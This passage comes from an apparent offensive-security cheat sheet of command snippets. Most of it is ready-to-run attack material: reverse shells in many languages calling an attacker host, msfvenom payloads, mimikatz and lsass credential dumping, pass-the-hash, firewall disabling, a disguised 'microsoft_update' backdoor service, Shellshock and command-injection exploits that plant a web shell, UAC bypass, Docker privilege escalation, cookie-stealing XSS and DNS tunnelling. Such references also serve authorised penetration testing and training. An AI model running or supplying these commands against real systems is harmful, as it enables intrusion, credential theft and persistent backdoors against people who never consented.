nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
```
### Unicornscan
```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose
```
### Xprobe2 OS fingerprinting
```
xprobe2 -v -p tcp:80:open IP
```
### Samba Enumeration
```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
```
### SNMP Enumeration
```
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
```
### Windows Useful cmds
```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
```
### PuTTY Link tunnel
```
Forward remote port to local address
cmd.exe /c echo y | .\plink.exe -P 22 -l <USER> -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT <IP> 2>&1
```
### Meterpreter portfwd
```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
```
### Enable RDP Access
```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```
### Turn Off Windows Firewall
```
netsh firewall set opmode disable
```
### Meterpreter VNC\RDP
```
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
```
### Mimikatz use
```
net user test 1234 /add
net localgroup administrators test /add
```
### Passing the Hash
```
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd
or
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
or
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
```
### Hashcat password cracking
```
hashcat -m 400 -a 0 hash /root/rockyou.txt
```
### Netcat examples
```
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
```
### Banner grabbing with NC
```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>
```
### Window reverse shell
```
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
```
### Find SUID\SGID root files
```
# Find SUID root files
find / -user root -perm -4000 -print
# Find SGID root files:
find / -group root -perm -2000 -print
# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print
# Find files that are not owned by any user:
find / -nouser -print
# Find files that are not owned by any group:
find / -nogroup -print
# Find symlinks and what they point to:
find / -type l -ls
```
### Python shell
```
python -c 'import pty;pty.spawn("/bin/bash")'
```
### Python\Ruby\PHP HTTP Server
```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888
```
### Get PIDs of process
```
fuser -nv tcp 80
fuser -k -n tcp 80
```
### Hydra rdp Bruteforce
```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
```
### Mount Remote Windows Share
```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```
### Compiling Exploit in Kali
```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
```
### Compiling Windows Exploits on Kali
```
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
```
### Window reverse shell
```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
```
### NASM Commands
```
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
```
### SSH Pivoting
```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
```
### SSH Pivoting from One Network to Another
```
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
```
### Pivoting Using metasploit
```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
or
# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2
```
### Exploit-DB search using CSV File
```
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
```
### MSF Payloads
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
```
### MSF Linux Reverse Meterpreter Binary
```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
```
### MSF Reverse Shell (C Shellcode)
```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
```
### MSF Reverse Shell Python Script
```
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
```
### MSF Reverse ASP Shell
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
```
### MSF Reverse Bash Shell
```
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
```
### MSF Reverse PHP Shell
```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php
```
### MSF Reverse Win Bin
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
```
### Linux Security Commands
```
# find programs with a set uid bit
find / -uid 0 -perm -4000
# find things that are world writable
find / -perm -o=w
# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print
# find files that are not owned by anyone
find / -nouser
# look for files that are unlinked
lsof +L1
# get information about procceses with open ports
lsof -i
# look for weird things in arp
arp -a
# look at all accounts including AD
getent passwd
# look at all groups and membership including AD
getent group
# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4
# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
# fix immutable files
chattr -i file
```
### Win Buffer Overflow Exploit Commands
```
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20 For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)
# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh
!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest
```
### SEH - Structured Exception Handling
```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
```
### ROP (DEP)
```
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
```
### ASLR - Address space layout randomization
```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr
```
### EGG Hunter techniques
```
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
```
### GDB Debugger Commands
```
# Setting Breakpoint
break *_start
# Execute Next Instruction
next
step
n
s
# Continue Execution
continue
c
# Data
checking 'REGISTERS' and 'MEMORY'
# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)
# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
```
### BASH Reverse Shell
```
bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
```
### PERL Reverse Shell
```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
```
### RUBY Reverse Shell
```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```
### PYTHON Reverse Shell
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
### PHP Reverse Shell
```
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```
### JAVA Reverse Shell
```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
### NETCAT Reverse Shell
```
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
```
### TELNET Reverse Shell
```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
```
### XTERM Reverse Shell
```
# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1
# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1
# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip
# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm
```
### XSS Cheat Codes
```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")
<script>document.location=http://IP:PORT</script>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";!–"<XSS>=&amp;{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
<IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">
perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(">< iframes http://google.com < iframes >)
<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>
```
### SSH Over SCTP (With Socat)
```
# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337
```
### Install Metasploit Community Edition in Kali 2.0
```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run
# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...
# activate your metasploit license
https://localhost:3790
# update metasploite
$ /opt/metasploit/app/msfupdate
# use msfconsole
$ /opt/metasploit/app/msfconsole
```
### Tor Nat Traversal
```
# install to server
$ apt-get install tor torsocks
# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh [email protected] -p 80
```
### DNS brute forcing with fierce
```
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
```
### Metagoofil metadata gathering tool
```
# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to provide MAC
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
```
### A best NMAP scan strategy
```
# A best nmap scan strategy for networks of all sizes
# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
```
### Nmap – Techniques for Avoiding Firewalls
```
# fragmentation
$ nmap -f
# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24
# Generates a random number of decoys
$ nmap -D RND:10 [target]
# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.
# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]
# Source port number specification
$ nmap --source-port 80 IP
# Append Random Data to scan packages
$ nmap --data-length 25 IP
# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP
```
### Exploit servers to Shellshock
```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
```
### Root with Docker
```
# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)
ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test
ek@victum:~$ cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
<< EOF
ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root
ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
```
### Tunneling Over DNS to Bypass Firewall
```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.
# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059
# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>
```
### Compile Assemble code
```
nasm -f elf32 simple32.asm -o simple32.o
ld -m elf_i386 simple32.o simple32
nasm -f elf64 simple.asm -o simple.o
ld simple.o -o simple
```
### Pivoting to Internal Network Via Non Interactive Shell
```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"
# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh
# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
```
### Patator is a multi-purpose brute-forcer
```
# git clone https://github.com/lanjelot/patator.git /usr/share/patator
# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
```
### Metasploit Web terminal via Gotty
```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080
```
### Get full shell with POST RCE
```
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl http://victum.tk/shell.php?cmd=id
# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27
# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337
```
### Exiftool - Read and write meta information in files
```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif
```
### Get SYSTEM with Admin reverse_shell on Win7
```
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe
#show account settings
net user <login>
# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1
# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME
# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
# create listener on kali
nc -lvp 4444
# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe
# create listener on kali
nc -lvp 4444
# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe
```
### Get SYSTEM with Standard user reverse_shell on Win7
```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/
# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"
# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"
# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w
# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net
```
### Generate our own dic file based on the website content
```
$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout
```
### Bruteforce DNS records using Nmap
```
